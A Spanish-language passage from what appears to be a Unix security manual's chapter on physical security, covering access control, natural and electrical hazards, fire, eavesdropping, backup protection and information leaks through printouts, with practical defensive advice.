los servidores de un departamento o las máquinas de los despachos, otros muchos estarán en
lugares de acceso semipúblico, como laboratorios de prácticas; es justamente sobre estos
últimos sobre los que debemos extremar las precauciones, ya que lo más fácil y discreto para
un atacante es acceder a uno de estos equipos y, en segundos, lanzar un ataque completo sobre
la red.
Prevención
Cómo prevenir un acceso físico no autorizado a un determinado punto? Hay soluciones para
todos los gustos, y también de todos los precios: desde analizadores de retina hasta
videocámaras, pasando por tarjetas inteligentes o control de las llaves que abren determinada
puerta. Todos los modelos de autenticación de usuarios son aplicables, aparte de para controlar
el acceso lógico a los sistemas, para controlar el acceso físico; de todos ellos, quizás los más
adecuados a la seguridad física sean los biométricos y los basados en algo poseído; aunque
como comentaremos más tarde suelen resultar algo caros para utilizarlos masivamente en
entornos de seguridad media.
Pero no hay que irse a sistemas tan complejos para prevenir accesos físicos no autorizados;
normas tan elementales como cerrar las puertas con llave al salir de un laboratorio o un
despacho o bloquear las tomas de red que no se suelan utilizar y que estén situadas en lugares
apartados son en ocasiones más que suficientes para prevenir ataques. También basta el sentido
común para darse cuenta de que el cableado de red es un elemento importante para la
seguridad, por lo que es recomendable apartarlo del acceso directo; por desgracia, en muchas
organizaciones podemos ver excelentes ejemplos de lo que no hay que hacer en este sentido:
cualquiera que pasee por entornos más o menos amplios (el campus de una universidad, por
ejemplo) seguramente podrá ver - o pinchar, o cortar...- cables descolgados al alcance de todo
el mundo, especialmente durante el vacaciones, época que se suele aprovechar para hacer
obras.
Todos hemos visto películas en las que se mostraba un estricto control de acceso a
instalaciones militares mediante tarjetas inteligentes, analizadores de retina o verificadores de
la geometría de la mano; aunque algunos de estos métodos aún suenen a ciencia ficción y sean
demasiado caros para la mayor parte de entornos (recordemos que si el sistema de protección
es más caro que lo que se quiere proteger tenemos un grave error en nuestros planes de
seguridad), otros se pueden aplicar, y se aplican, en muchas organizaciones. Concretamente, el
uso de lectores de tarjetas para poder acceder a ciertas dependencias es algo muy a la orden del
día; la idea es sencilla: alguien pasa una tarjeta por el lector, que conecta con un sistema - - por
ejemplo un ordenador - en el que existe una base de datos con información de los usuarios y los
recintos a los que se le permite el acceso. Si la tarjeta pertenece a un usuario capacitado para
abrir la puerta, ésta se abre, y en caso contrario se registra el intento y se niega el acceso.
Aunque este método quizás resulte algo caro para extenderlo a todos y cada uno de los puntos a
proteger en una organización, no sería tan descabellado instalar pequeños lectores de códigos
de barras conectados a una máquina Linux en las puertas de muchas áreas, especialmente en las
que se maneja información más o menos sensible. Estos lectores podrían leer una tarjeta que
todos los miembros de la organización poseerían, conectar con la base de datos de usuarios, y
autorizar o denegar la apertura de la puerta. Se trataría de un sistema sencillo de implementar,
no muy caro, y que cubre de sobra las necesidades de seguridad en la mayoría de entornos:
incluso se podría abaratar si en lugar de utilizar un mecanismo para abrir y cerrar puertas el
sistema se limitara a informar al administrador del área o a un guardia de seguridad mediante
un mensaje en pantalla o una luz encendida: de esta forma los únicos gastos serían los
correspondientes a los lectores de códigos de barras, ya que como equipo con la base de datos
se puede utilizar una máquina vieja o un servidor de propósito general.
Detección
Cuando la prevención es difícil por cualquier motivo (técnico, económico, humano...) es
deseable que un potencial ataque sea detectado cuanto antes, para minimizar así sus efectos.
Aunque en la detección de problemas, generalmente accesos físicos no autorizados, intervienen
medios técnicos, como cámaras de vigilancia de circuito cerrado o alarmas, en entornos más
normales el esfuerzo en detectar estas amenazas se ha de centrar en las personas que utilizan
los sistemas y en las que sin utilizarlos están relacionadas de cierta forma con ellos; sucede lo
mismo que con la seguridad lógica: se ha de ver toda la protección como una cadena que falla
si falla su eslabón más débil.
Es importante concienciar a todos de su papel en la política de seguridad del entorno; si por
ejemplo un usuario autorizado detecta presencia de alguien de quien sospecha que no tiene
autorización para estar en una determinada estancia debe avisar inmediatamente al
administrador o al responsable de los equipos, que a su vez puede avisar al servicio de
seguridad si es necesario. No obstante, utilizar este servicio debe ser sólamente un último
recurso: generalmente en la mayoría de entornos no estamos tratando con terroristas, sino por
fortuna con elementos mucho menos peligrosos. Si cada vez que se sospecha de alguien se
avisa al servicio de seguridad esto puede repercutir en el ambiente de trabajo de los usuarios
autorizados estableciendo cierta presión que no es en absoluto recomendable; un simple
`>puedo ayudarte en algo?' suele ser más efectivo que un guardia solicitando una
identificación formal. Esto es especialmente recomendable en lugares de acceso restringido,
como laboratorios de investigación o centros de cálculo, donde los usuarios habituales suelen
conocerse entre ellos y es fácil detectar personas ajenas al entorno.
Desastres naturales
En el anterior punto hemos hecho referencia a accesos físicos no autorizados a zonas o a
elementos que pueden comprometer la seguridad de los equipos o de toda la red; sin embargo,
no son estas las únicas amenazas relacionadas con la seguridad física. Un problema que no
suele ser tan habitual, pero que en caso de producirse puede acarrear gravísimas consecuencias,
es el derivado de los desastres naturales y su (falta de) prevención.
Terremotos
Los terremotos son el desastre natural menos probable en la mayoría de organismos ubicados
en España, simplemente por su localización geográfica: no nos encontramos en una zona donde
se suelan producir temblores de intensidad considerable; incluso en zonas del sur de España,
como Almería, donde la probabilidad de un temblor es más elevada, los terremotos no suelen
alcanzan la magnitud necesaria para causar daños en los equipos. Por tanto, no se suelen tomar
medidas serias contra los movimientos sísmicos, ya que la probabilidad de que sucedan es tan
baja que no merece la pena invertir dinero para minimizar sus efectos.
De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para la
mayor parte de organizaciones en España (evidentemente serían igual de caras en zonas como
Los Ángeles, pero allí el coste estaría justificado por la alta probabilidad de que se produzcan
movimientos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevención;
por ejemplo, es muy recomendable no situar nunca equipos delicados en superficies muy
elevadas (aunque tampoco es bueno situarlos a ras de suelo, como veremos al hablar de
inundaciones). Si lo hacemos, un pequeño temblor puede tirar desde una altura considerable un
complejo hardware, lo que con toda probabilidad lo inutilizará; puede incluso ser conveniente
(y barato) utilizar fijaciones para los elementos más críticos, como las CPUs, los monitores o
los routers. De la misma forma, tampoco es recomendable situar objetos pesados en superficies
altas cercanas a los equipos, ya que si lo que cae son esos objetos también dañarán el hardware.
Para evitar males mayores ante un terremoto, también es muy importante no situar equipos
cerca de las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la pérdida
de datos o hardware pierde importancia frente a los posibles accidentes - incluso mortales - que
puede causar una pieza voluminosa a las personas a las que les cae encima. Además, situando
los equipos alejados de las ventanas estamos dificultando las acciones de un potencial ladrón
que se descuelgue por la fachada hasta las ventanas, ya que si el equipo estuviera cerca no
tendría más que alargar el brazo para llevárselo.
Quizás hablar de terremotos en un trabajo dedicado a sistemas `normales' especialmente
centrándonos en lugares con escasa actividad sísmica - - como es España y más concretamente
la Comunidad Valenciana - pueda resultar incluso gracioso, o cuanto menos exagerado. No
obstante, no debemos entender por terremotos únicamente a los grandes desastres que
derrumban edificios y destrozan vías de comunicación; quizás sería mas apropiado hablar
incluso de vibraciones, desde las más grandes (los terremotos) hasta las más pequeñas (un
simple motor cercano a los equipos). Las vibraciones, incluso las más imperceptibles, pueden
dañar seriamente cualquier elemento electrónico de nuestras máquinas, especialmente si se
trata de vibraciones contínuas: los primeros efectos pueden ser problemas con los cabezales de
los discos duros o con los circuitos integrados que se dañan en las placas. Para hacer frente a
pequeñas vibraciones podemos utilizar plataformas de goma donde situar a los equipos, de
forma que la plataforma absorba la mayor parte de los movimientos; incluso sin llegar a esto,
una regla común es evitar que entren en contacto equipos que poseen una electrónica delicada
con hardware más mecánico, como las impresoras: estos dispositivos no paran de generar
vibraciones cuando están en funcionamiento, por lo que situar una pequeña impresora encima
de la CPU de una máquina es una idea nefasta. Como dicen algunos expertos en seguridad, el
espacio en la sala de operaciones es un problema sin importancia comparado con las
consecuencias de fallos en un disco duro o en la placa base de un ordenador.
Tormentas eléctricas
Las tormentas con aparato eléctrico, especialmente frecuentes en verano (cuando mucho
personal se encuentra de vacaciones, lo que las hace más peligrosas) generan subidas súbitas de
tensión infinitamente superiores a las que pueda generar un problema en la red eléctrica, como
veremos a continuación. Si cae un rayo sobre la estructura metálica del edificio donde están
situados nuestros equipos es casi seguro que podemos ir pensando en comprar otros nuevos; sin
llegar a ser tan dramáticos, la caída de un rayo en un lugar cercano puede inducir un campo
magnético lo suficientemente intenso como para destruir hardware incluso protegido contra
voltajes elevados.
Sin embargo, las tormentas poseen un lado positivo: son predecibles con más o menos
exactitud, lo que permite a un administrador parar sus máquinas y desconectarlas de la línea
eléctrica. Entonces, ¿cuál es el problema? Aparte de las propias tormentas, el problema son los
responsables de los equipos: la caída de un rayo es algo poco probable - pero no imposible - en
una gran ciudad donde existen artilugios destinados justamente a atraer rayos de una forma
controlada; tanto es así que mucha gente ni siquiera ha visto caer cerca un rayo, por lo que
directamente tiende a asumir que eso no le va a suceder nunca, y menos a sus equipos. Por
tanto, muy pocos administradores se molestan en parar máquinas y desconectarlas ante una
tormenta; si el fenómeno sucede durante las horas de trabajo y la tormenta es fuerte, quizás sí
que lo hace, pero si sucede un sábado por la noche nadie va a ir a la sala de operaciones a
proteger a los equipos, y nadie antes se habrá tomado la molestia de protegerlos por una simple
previsión meteorológica. Si a esto añadimos lo que antes hemos comentado, que las tormentas
se producen con más frecuencia en pleno verano, cuando casi toda la plantilla está de
vacaciones y sólo hay un par de personas de guardia, tenemos el caldo de cultivo ideal para que
una amenaza que a priori no es muy grave se convierta en el final de algunos de nuestros
equipos. Conclusión: todos hemos de tomar más en serio a la Naturaleza cuando nos avisa con
un par de truenos...
Otra medida de protección contra las tormentas eléctricas hace referencia a la ubicación de los
medios magnéticos, especialmente las copias de seguridad; aunque hablaremos con más detalle
de la protección de los backups, de momento podemos adelantar que se han de almacenar lo
más alejados posible de la estructura metálica de los edificios. Un rayo en el propio edificio, o
en un lugar cercano, puede inducir un campo electromagnético lo suficientemente grande como
para borrar de golpe todas nuestras cintas o discos, lo que añade a los problemas por daños en
el hardware la pérdida de toda la información de nuestros sistemas.
Inundaciones y humedad
Cierto grado de humedad es necesario para un correcto funcionamiento de nuestras máquinas:
en ambientes extremadamente secos el nivel de electricidad estática es elevado, lo que, como
veremos más tarde, puede transformar un pequeño contacto entre una persona y un circuito, o
entre diferentes componentes de una máquina, en un daño irreparable al hardware y a la
información. No obstante, niveles de humedad elevados son perjudiciales para los equipos
porque pueden producir condensación en los circuitos integrados, lo que origina cortocircuitos
que evidentemente tienen efectos negativos sobre cualquier elemento electrónico de una
máquina.
Controlar el nivel de humedad en los entornos habituales es algo innecesario, ya que por norma
nadie ubica estaciones en los lugares más húmedos o que presenten situaciones extremas; no
obstante, ciertos equipos son especialmente sensibles a la humedad, por lo que es conveniente
consultar los manuales de todos aquellos de los que tengamos dudas. Quizás sea necesario
utilizar alarmas que se activan al detectar condiciones de muy poca o demasiada humedad,
especialmente en sistemas de alta disponibilidad o de altas prestaciones, donde un fallo en un
componente puede ser crucial.
Cuando ya no se habla de una humedad más o menos elevada sino de completas inundaciones,
los problemas generados son mucho mayores. Casi cualquier medio (una máquina, una cinta,
un router...) que entre en contacto con el agua queda automáticamente inutilizado, bien por el
propio líquido o bien por los cortocircuitos que genera en los sistemas electrónicos.
Evidentemente, contra las inundaciones las medidas más efectivas son las de prevención (frente
a las de detección); podemos utilizar detectores de agua en los suelos o falsos suelos de las
salas de operaciones, y apagar automáticamente los sistemas en caso de que se activen. Tras
apagar los sistemas podemos tener también instalado un sistema automático que corte la
corriente: algo muy común es intentar sacar los equipos - previamente apagados o no - de una
sala que se está empezando a inundar; esto, que a primera vista parece lo lógico, es el mayor
error que se puede cometer si no hemos desconectado completamente el sistema eléctrico, ya
que la mezcla de corriente y agua puede causar incluso la muerte a quien intente salvar equipos.
Por muy caro que sea el hardware o por muy valiosa que sea la información a proteger, nunca
serán magnitudes comparables a lo que supone la pérdida de vidas humanas. Otro error común
relacionado con los detectores de agua es situar a los mismos a un nivel superior que a los
propios equipos a salvaguardar (¡incluso en el techo, junto a los detectores de humo!);
evidentemente, cuando en estos casos el agua llega al detector poco se puede hacer ya por las
máquinas o la información que contienen.
Medidas de protección menos sofisticadas pueden ser la instalación de un falso suelo por
encima del suelo real, o simplemente tener la precaución de situar a los equipos con una cierta
elevación respecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya
hemos comentado al hablar de terremotos y vibraciones.
Desastres del entorno
Electricidad
Quizás los problemas derivados del entorno de trabajo más frecuentes son los relacionados con
el sistema eléctrico que alimenta nuestros equipos; cortocircuitos, picos de tensión, cortes de
flujo...a diario amenazan la integridad tanto de nuestro hardware como de los datos que
almacena o que circulan por él.
El problema menos común en las instalaciones modernas son las subidas de tensión, conocidas
como `picos' porque generalmente duran muy poco: durante unas fracciones de segundo el
voltaje que recibe un equipo sube hasta sobrepasar el límite aceptable que dicho equipo
soporta. Lo normal es que estos picos apenas afecten al hardware o a los datos gracias a que en
la mayoría de equipos hay instalados fusibles, elementos que se funden ante una subida de
tensión y dejan de conducir la corriente, provocando que la máquina permanezca apagada.
Disponga o no de fusibles el equipo a proteger (lo normal es que sí los tenga) una medida
efectiva y barata es utilizar tomas de tierra para asegurar aún más la integridad; estos
mecanismos evitan los problemas de sobretensión desviando el exceso de corriente hacia el
suelo de una sala o edificio, o simplemente hacia cualquier lugar con voltaje nulo. Una toma de
tierra sencilla puede consistir en un buen conductor conectado a los chasis de los equipos a
proteger y a una barra maciza, también conductora, que se introduce lo más posible en el suelo;
el coste de la instalación es pequeño, especialmente si lo comparamos con las pérdidas que
supondría un incendio que afecte a todos o a una parte de nuestros equipos.
Incluso teniendo un sistema protegido con los métodos anteriores, si la subida de tensión dura
demasiado, o si es demasiado rápida, podemos sufrir daños en los equipos; existen
acondicionadores de tensión comerciales que protegen de los picos hasta en los casos más
extremos, y que también se utilizan como filtros para ruido eléctrico. Aunque en la mayoría de
situaciones no es necesario su uso, si nuestra organización tiene problemas por el voltaje
excesivo quizás sea conveniente instalar alguno de estos aparatos.
Un problema que los estabilizadores de tensión o las tomas de tierra no pueden solucionar es
justamente el contrario a las subidas de tensión: las bajadas, situaciones en las que la corriente
desciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero
sin llegar a ser lo suficientemente bajo para que la máquina se apague. En estas situaciones la
máquina se va a comportar de forma extraña e incorrecta, por ejemplo no aceptando algunas
instrucciones, no completando escrituras en disco o memoria, etc. Es una situación similar a la
de una bombilla que pierde intensidad momentáneamente por falta de corriente, pero trasladada
a un sistema que en ese pequeño intervalo ejecuta miles o millones de instrucciones y
transferencias de datos.
Otro problema, muchísimo más habituales que los anteriores en redes eléctricas modernas, son
los cortes en el fluido eléctrico que llega a nuestros equipos. Aunque un simple corte de
corriente no suele afectar al hardware, lo más peligroso (y que sucede en muchas ocasiones)
son las idas y venidas rápidas de la corriente; en esta situación, aparte de perder datos, nuestras
máquinas pueden sufrir daños.
La forma más efectiva de proteger nuestros equipos contra estos problemas de la corriente
eléctrica es utilizar una SAI (Servicio de Alimentación Ininterrumpido) conectada al elemento
que queremos proteger. Estos dispositivos mantienen un flujo de corriente correcto y estable de
corriente, protegiendo así los equipos de subidas, cortes y bajadas de tensión; tienen capacidad
para seguir alimentando las máquinas incluso en caso de que no reciban electricidad
(evidentemente no las alimentan de forma indefinida, sino durante un cierto tiempo - el
necesario para detener el sistema de forma ordenada). Por tanto, en caso de fallo de la corriente
el SAI informará a la máquina Unix, que a través de un programa como /sbin/powerd recibe la
información y decide cuanto tiempo de corriente le queda para poder pararse correctamente; si
de nuevo vuelve el flujo la SAI vuelve a informar de este evento y el sistema desprograma su
parada. Así de simple: por poco más de diez mil pesetas podemos obtener una SAI pequeña,
más que suficiente para muchos servidores, que nos va a librar de la mayoría de los problemas
relacionados con la red eléctrica.
Un último problema contra el que ni siquiera las SAIs nos protegen es la corriente estática, un
fenómeno extraño del que la mayoría de gente piensa que no afecta a los equipos, sólo a otras
personas. Nada más lejos de la realidad: simplemente tocar con la mano la parte metálica de
teclado o un conductor de una placa puede destruir un equipo completamente. Se trata de
corriente de muy poca intensidad pero un altísimo voltaje, por lo que aunque la persona no
sufra ningún daño - sólo un pequeño calambrazo - el ordenador sufre una descarga que puede
ser suficiente para destrozar todos sus componentes, desde el disco duro hasta la memoria
RAM. Contra el problema de la corriente estática existen muchas y muy baratas soluciones:
spray antiestático, ionizadores antiestáticos...No obstante en la mayoría de situaciones sólo
hace falta un poco de sentido común del usuario para evitar accidentes: no tocar directamente
ninguna parte metálica, protegerse si debe hacer operaciones con el hardware, no mantener el
entorno excesivamente seco...
Ruido eléctrico
Dentro del apartado anterior podríamos haber hablado del ruido eléctrico como un problema
más relacionado con la electricidad; sin embargo este problema no es una incidencia directa de
la corriente en nuestros equipos, sino una incidencia relacionada con la corriente de otras
máquinas que pueden afectar al funcionamiento de la nuestra. El ruido eléctrico suele ser
generado por motores o por maquinaria pesada, pero también puede serlo por otros ordenadores
o por multitud de aparatos, especialmente muchos de los instalados en los laboratorios de
organizaciones de I+D, y se transmite a través del espacio o de líneas eléctricas cercanas a
nuestra instalación.
Para prevenir los problemas que el ruido eléctrico puede causar en nuestros equipos lo más
barato es intentar no situar hardware cercano a la maquinaria que puede causar dicho ruido; si
no tenemos más remedio que hacerlo, podemos instalar filtros en las líneas de alimentación que
llegan hasta los ordenadores. También es recomendable mantener alejados de los equipos
dispositivos emisores de ondas, como teléfonos móviles, transmisores de radio o walkie-talkies;
estos elementos puede incluso dañar permanentemente a nuestro hardware si tienen la
suficiente potencia de transmisión, o influir directamente en elementos que pueden dañarlo
como detectores de incendios o cierto tipo de alarmas.
Incendios y humo
Una causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo;
aunque la causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es
que el mayor peligro de incendio provenga de problemas eléctricos por la sobrecarga de la red
debido al gran número de aparatos conectados al tendido. Un simple cortocircuito o un equipo
que se calienta demasiado pueden convertirse en la causa directa de un incendio en el edificio,
o al menos en la planta, donde se encuentran invertidos millones de pesetas en equipamiento.
Un método efectivo contra los incendios son los extintores situados en el techo, que se activan
automáticamente al detectar humo o calor. Algunos de ellos, los más antiguos, utilizaban agua
para apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del
fuego si los extintores se activaban correctamente, pero que quedara destrozado por el agua
expulsada. Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de
halón; este compuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no
dañar los equipos. Sin embargo, también el halón presentaba problemas: por un lado, resulta
excesivamente contaminante para la atmósfera, y por otro puede axfisiar a las personas a la vez
que acaba con el fuego. Por eso se han sustituido los extintores de halón (aunque se siguen
utilizando mucho hoy en día) por extintores de dióxido de carbono, menos contaminante y
menos perjudicial. De cualquier forma, al igual que el halón el dióxido de carbono no es
precisamente sano para los humanos, por lo que antes de activar el extintor es conveniente que
todo el mundo abandone la sala; si se trata de sistemas de activación automática suelen avisar
antes de expulsar su compuesto mediante un pitido.
Aparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial para
los equipos: el humo, un potente abrasivo que ataca especialmente los discos magnéticos y
ópticos. Quizás ante un incendio el daño provocado por el humo sea insignificante en
comparación con el causado por el fuego y el calor, pero hemos de recordar que puede existir
humo sin necesidad de que haya un fuego: por ejemplo, en salas de operaciones donde se fuma.
Aunque muchos no apliquemos esta regla y fumemos demasiado - siempre es demasiado delante de nuestros equipos, sería conveniente no permitir esto; aparte de la suciedad generada
que se deposita en todas las partes de un ordenador, desde el teclado hasta el monitor,
generalmente todos tenemos el cenicero cerca de los equipos, por lo que el humo afecta
directamente a todos los componentes; incluso al ser algo más habitual que un incendio, se
puede considerar más perjudicial - para los equipos y las personas - el humo del tabaco que el
de un fuego.
En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en
general a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus
pros y sus contras. Evidentemente, algo lógico cuando estamos ante un incendio de pequeñas
dimensiones es intentar utilizar un extintor para apagarlo, de forma que lo que podría haber
sido una catástrofe sea un simple susto o un pequeño accidente. Sin embargo, cuando las
dimensiones de las llamas son considerables lo último que debemos hacer es intentar controlar
el fuego nosotros mismos, arriesgando vidas para salvar hardware; como sucedía en el caso de
inundaciones, no importa el precio de nuestros equipos o el valor de nuestra información:
nunca serán tan importantes como una vida humana. Lo más recomendable en estos casos es
evacuar el lugar del incendio y dejar su control en manos de personal especializado.
Temperaturas extremas
No hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor
excesivo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los
equipos operen entre 10 y 32 grados Celsius, aunque pequeñas variaciones en este rango
tampoco han de influir en la mayoría de sistemas.
Para controlar la temperatura ambiente en el entorno de operaciones nada mejor que un
acondicionador de aire, aparato que también influirá positivamente en el rendimiento de los
usuarios (las personas también tenemos rangos de temperaturas dentro de los cuales trabajamos
más cómodamente). Otra condición básica para el correcto funcionamiento de cualquier equipo
que éste se encuentre correctamente ventilado, sin elementos que obstruyan los ventiladores de
la CPU. La organización física del computador también es decisiva para evitar
sobrecalentamientos: si los discos duros, elementos que pueden alcanzar temperaturas
considerables, se encuentran excesivamente cerca de la memoria RAM, es muy probable que
los módulos acaben quemándose.
Protección de los datos
La seguridad física también implica una protección a la información de nuestro sistema, tanto a
la que está almacenada en él como a la que se transmite entre diferentes equipos. Aunque los
apartados comentados en la anterior sección son aplicables a la protección física de los datos
(ya que no olvidemos que si protegemos el hardware también protegemos la información que
se almacena o se transmite por él), hay ciertos aspectos a tener en cuenta a la hora de diseñar
una política de seguridad física que afectan principalmente, aparte de a los elementos físicos, a
los datos de nuestra organización; existen ataques cuyo objetivo no es destruir el medio físico
de nuestro sistema, sino simplemente conseguir la información almacenada en dicho medio.
Eavesdropping
La interceptación o eavesdropping, también conocida por passive wiretapping es un proceso
mediante el cual un agente capta información - en claro o cifrada - que no le iba dirigida; esta
captación puede realizarse por muchísimos medios (por ejemplo, capturando las radiaciones
electromagnéticas, como veremos luego). Aunque es en principio un ataque completamente
pasivo, lo más peligroso del eavesdropping es que es muy difícil de detectar mientras que se
produce, de forma que un atacante puede capturar información privilegiada y claves para
acceder a más información sin que nadie se de cuenta hasta que dicho atacante utiliza la
información capturada, convirtiendo el ataque en activo.
Un medio de interceptación bastante habitual es el sniffing, consistente en capturar tramas que
circulan por la red mediante un programa ejecutándose en una máquina conectada a ella o bien
mediante un dispositivo que se engancha directamente el cableado 3.4. Estos dispositivos,
denominados sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la
impedancia total del cable y el aparato es similar a la del cable solo, lo que hace difícil su
detección. Contra estos ataques existen diversas soluciones; la más barata a nivel físico es no
permitir la existencia de segmentos de red de fácil acceso, lugares idóneos para que un atacante
conecte uno de estos aparatos y capture todo nuestro tráfico. No obstante esto resulta difícil en
redes ya instaladas, donde no podemos modificar su arquitectura; en estos existe una solución
generalmente gratuita pero que no tiene mucho que ver con el nivel físico: el uso de
aplicaciones de cifrado para realizar las comunicaciones o el almacenamiento de la información
(hablaremos más adelante de algunas de ellas). Tampoco debemos descuidar las tomas de red
libres, donde un intruso con un portatil puede conectarse para capturar tráfico; es recomendable
analizar regularmente nuestra red para verificar que todas las máquinas activas están
autorizadas.
Como soluciones igualmente efectivas contra la interceptación a nivel físico podemos citar el
uso de dispositivos de cifra (no simples programas, sino hardware), generalmente chips que
implementan algoritmos como DES; esta solución es muy poco utilizada en entornos de I+D,
ya que es muchísimo más cara que utilizar implementaciones software de tales algoritmos y en
muchas ocasiones la única diferencia entre los programas y los dispositivos de cifra es la
velocidad. También se puede utilizar, como solución más cara, el cableado en vacío para evitar
la interceptación de datos que viajan por la red: la idea es situar los cables en tubos donde
artificialmente se crea el vacío o se inyecta aire a presión; si un atacante intenta `pinchar' el
cable para interceptar los datos, rompe el vacío o el nivel de presión y el ataque es detectado
inmediatamente. Como decimos, esta solución es enormemente cara y sólamente se aplica en
redes de perímetro reducido para entornos de alta seguridad.
Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de la
interceptación de datos emitidos en forma de sonido o simple ruido en nuestro entorno de
operaciones. Imaginemos una situación en la que los responsables de la seguridad de nuestra
organización se reunen para discutir nuevos mecanismos de protección; todo lo que en esa
reunión se diga puede ser capturado por multitud de métodos, algunos de los cuales son tan
simples que ni siquiera se contemplan en los planes de seguridad. Por ejemplo, una simple
tarjeta de sonido instalada en un PC situado en la sala de reuniones puede transmitir a un
atacante todo lo que se diga en esa reunión; mucho más simple y sencillo: un teléfono mal
colgado - intencionada o inintencionadamente - también puede transmitir información muy útil
para un potencial enemigo. Para evitar estos problemas existen numerosos métodos: por
ejemplo, en el caso de los teléfonos fijos suele ser suficiente un poco de atención y sentido
común, ya que basta con comprobar que están bien colgados...o incluso desconectados de la red
telefónica. El caso de los móviles suele ser algo más complejo de controlar, ya que su pequeño
tamaño permite camuflarlos fácilmente; no obstante, podemos instalar en la sala de reuniones
un sistema de aislamiento para bloquear el uso de estos teléfonos: se trata de sistemas que ya se
utilizan en ciertos entornos (por ejemplo en conciertos musicales) para evitar las molestias de
un móvil sonando, y que trabajan bloqueando cualquier transmisión en los rangos de
frecuencias en los que trabajan los diferentes operadores telefónicos. Otra medida preventiva
(ya no para voz, sino para prevenir la fuga de datos vía el ruido ambiente) muy útil - y no muy
cara - puede ser sustituir todos los teléfonos fijos de disco por teléfonos de teclado, ya que el
ruido de un disco al girar puede permitir a un pirata deducir el número de teléfono marcado
desde ese aparato.
Backups
En este apartado no vamos a hablar de las normas para establecer una política de realización de
copias de seguridad correcta, ni tampoco de los mecanismos necesarios para implementarla o
las precauciones que hay que tomar para que todo funcione correctamente; el tema que vamos a
tratar en este apartado es la protección física de la información almacenada en backups, esto es,
de la protección de los diferentes medios donde residen nuestras copias de seguridad. Hemos de
tener siempre presente que si las copias contienen toda nuestra información tenemos que
protegerlas igual que protegemos nuestros sistemas.
Un error muy habitual es almacenar los dispositivos de backup en lugares muy cercanos a la
sala de operaciones, cuando no en la misma sala; esto, que en principio puede parecer correcto
(y cómodo si necesitamos restaurar unos archivos) puede convertirse en un problema:
imaginemos simplemente que se produce un incendio de grandes dimensiones y todo el edificio
queda reducido a cenizas. En este caso extremo tendremos que unir al problema de perder
todos nuestros equipos - que seguramente cubrirá el seguro, por lo que no se puede considerar
una catástrofe - el perder también todos nuestros datos, tanto los almacenados en los discos
como los guardados en backups (esto evidentemente no hay seguro que lo cubra). Como
podemos ver, resulta recomendable guardar las copias de seguridad en una zona alejada de la
sala de operaciones, aunque en este caso descentralizemos la seguridad y tengamos que
proteger el lugar donde almacenamos los backups igual que protegemos la propia sala o los
equipos situados en ella, algo que en ocasiones puede resultar caro.
También suele ser común etiquetar las cintas donde hacemos copias de seguridad con
abundante información sobre su contenido (sistemas de ficheros almacenados, día y hora de la
realización, sistema al que corresponde...); esto tiene una parte positiva y una negativa. Por un
lado, recuperar un fichero es rápido: sólo tenemos que ir leyendo las etiquetas hasta encontrar
la cinta adecuada. Sin embargo, si nos paramos a pensar, igual que para un administrador es
fácil encontrar el backup deseado también lo es para un intruso que consiga acceso a las cintas,
por lo que si el acceso a las mismas no está bien restringido un atacante lo tiene fácil para
sustraer una cinta con toda nuestra información; no necesita saltarse nuestro cortafuegos,
conseguir una clave del sistema o chantajear a un operador: nosotros mismos le estamos
poniendo en bandeja toda nuestros datos. No obstante, ahora nos debemos plantear la duda
habitual: si no etiqueto las copias de seguridad, >cómo puedo elegir la que debo restaurar en
un momento dado? Evidentemente, se necesita cierta información en cada cinta para poder
clasificarlas, pero esa información nunca debe ser algo que le facilite la tarea a un atacante; por
ejemplo, se puede diseñar cierta codificación que sólo conozcan las personas responsables de
las copias de seguridad, de forma que cada cinta vaya convenientemente etiquetada, pero sin
conocer el código sea difícil imaginar su contenido. Aunque en un caso extremo el atacante
puede llevarse todos nuestros backups para analizarlos uno a uno, siempre es más difícil
disimular una carretilla llena de cintas de 8mm que una pequeña unidad guardada en un
bolsillo. Y si aún pensamos que alguien puede sustraer todas las copias, simplemente tenemos
que realizar backups cifrados...y controlar más el acceso al lugar donde las guardamos.
Otros elementos
En muchas ocasiones los responsables de seguridad de los sistemas tienen muy presente que la
información a proteger se encuentra en los equipos, en las copias de seguridad o circulando por
la red (y por lo tanto toman medidas para salvaguardar estos medios), pero olvidan que esa
información también puede encontrarse en lugares menos obvios, como listados de impresora,
facturas telefónicas o la propia documentación de una máquina.
Imaginemos una situación muy típica en los sistemas Unix: un usuario, desde su terminal o el
equipo de su despacho, imprime en el servidor un documento de cien páginas, documento que
ya de entrada ningún operador comprueba - y quizás no pueda comprobar, ya que se puede
comprometer la privacidad del usuario - pero que puede contener, disimuladamente, una copia
de nuestro fichero de contraseñas. Cuando la impresión finaliza, el administrador lleva el
documento fuera de la sala de operaciones, pone como portada una hoja con los datos del
usuario en la máquina (login perfectamente visible, nombre del fichero, hora en que se lanzó...)
y lo deja, junto a los documentos que otros usuarios han imprimido - y con los que se ha
seguido la misma política - en una estantería perdida en un pasillo, lugar al que cualquier
persona puede acceder con total libertad y llevarse la impresión, leerla o simplemente curiosear
las portadas de todos los documentos. Así, de repente, a nadie se le escapan bastante problemas
de seguridad derivados de esta política: sin entrar en lo que un usuario pueda imprimir - que
repetimos, quizás no sea legal, o al menos ético, curiosear -, cualquiera puede robar una copia
de un proyecto o un examen3.5, obtener información sobre nuestros sistemas de ficheros y las
horas a las que los usuarios suelen trabajar, o simplemente descubrir, simplemente pasando por
delante de la estantería, diez o veinte nombres válidos de usuario en nuestras máquinas; todas
estas informaciones pueden ser de gran utilidad para un atacante, que por si fuera poco no tiene
que hacer nada para obtenerlas, simplemente darse un paseo por el lugar donde depositamos las
impresiones. Esto, que a muchos les puede parecer una exageración, no es ni más ni menos la
política que se sigue en muchas organizaciones hoy en día, e incluso en centros de proceso de
